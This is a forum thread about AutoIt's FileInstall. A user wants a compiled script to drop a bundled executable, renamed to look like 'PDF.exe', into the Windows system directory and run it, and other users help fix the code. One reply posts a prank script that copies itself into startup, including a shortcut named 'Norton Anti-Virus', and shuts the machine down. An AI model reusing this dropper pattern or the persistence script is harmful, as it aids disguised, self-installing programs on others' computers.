Sign in to follow this  
Followers 0
lolp1

FileInstall.

11 posts in this topic

#1 ·  Posted (edited)

It doesnt seem to be wrapping it's self around the file and including it in the script.

Here is what I use:

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
    Sleep(500)
    Run(@SystemDir & "\test.exe")
    Endif
    EndFunc

I know it's something noobie, so don't go to hard on me :shocked:

EDIT: Yes I searched about the variable thing, but I didn't understand it perfectly.

EDIT: Let me note it also seems to work uncompiled, but not compiled.

Edited by lolp1

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

just this should be fine. tested it out on my PC quick and worked.

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
Sleep(500)
Run(@SystemDir & "\test.exe")

the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand.

edit: compiled and tested it. works fine.

Edited by Kourath

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

just this should be fine. tested it out on my PC quick and worked.

FileInstall("C:\Documents and Settings\Hans\Desktop\test.exe", @SystemDir)
Sleep(500)
Run(@SystemDir & "\test.exe")

the "endif" and "endfunc" are going to cause problems if you don't specify an if statement and a function before hand.

edit: compiled and tested it. works fine.

Hello,

DOUBLE edit: Nope.. still, won't work compiled. (If it means anything I am replacing the name with PDF.exe)

EDIT: IT appears my sleep was not long enough. Works.

Edited by lolp1

Share this post


Link to post
Share on other sites

If you're running it on other computers of different speeds, you may want to just stick your script in a loop until the destination file matches a certain size, instead of relying on a sleep.

Share this post


Link to post
Share on other sites

False alarm..

It still does not work (compiled) here is exzactly what I am using.

FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir)
Sleep(1000)
Run(@SystemDir & "\client.exe")

Every time I try it compiled it just says "Error: Couldnt find file blah blah blah" but no error son the install line, just the run..

Share this post


Link to post
Share on other sites

With a bit more testing I can defiantly verify the following:

It works uncompiled, but not compiled.

The file exsist (I don't get any compile errors..)

The file does not already exsist at it's path.

Share this post


Link to post
Share on other sites

The destination path of the file with trailing backslash if only the directory is used. This can be a variable.

:shocked:

Share this post


Link to post
Share on other sites

:shocked:

I'm still confused... example?

Share this post


Link to post
Share on other sites

lol, kind of reminds me of this...

CODE
FileCopy(@ScriptFullPath, @StartupDir, 0)

FileCopy(@ScriptFullPath, @FavoritesDir, 0)

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus")

ShutDown(1)

Share this post


Link to post
Share on other sites

lol, kind of reminds me of this...

CODE
FileCopy(@ScriptFullPath, @StartupDir, 0)

FileCopy(@ScriptFullPath, @FavoritesDir, 0)

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/0")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/1")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/2")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/3")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/4")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/5")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/6")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/7")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/8")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/9")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/10")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/11")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/12")

FileCreateShortcut(@ScriptFullPath, @StartupDir & "/Norton Anti-Virus")

ShutDown(1)

What the hell? Get out of my thread please.. I just need some simple help..

Share this post


Link to post
Share on other sites

#11 ·  Posted (edited)

I'm still confused... example?

FileInstall("C:\Documents and Settings\Hans\Desktop\client.exe", @SystemDir & '\')

Sleep(1000)

Run(@SystemDir & "\client.exe")

Just add a backslash after the folder path in your destination parameter as I have added in Red above. File functions like trailing backslashes sometimes so it can tell that it is a path to a folder rather then a path to a file.

:shocked:

Edit:

Typo fix

Edited by MHz

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0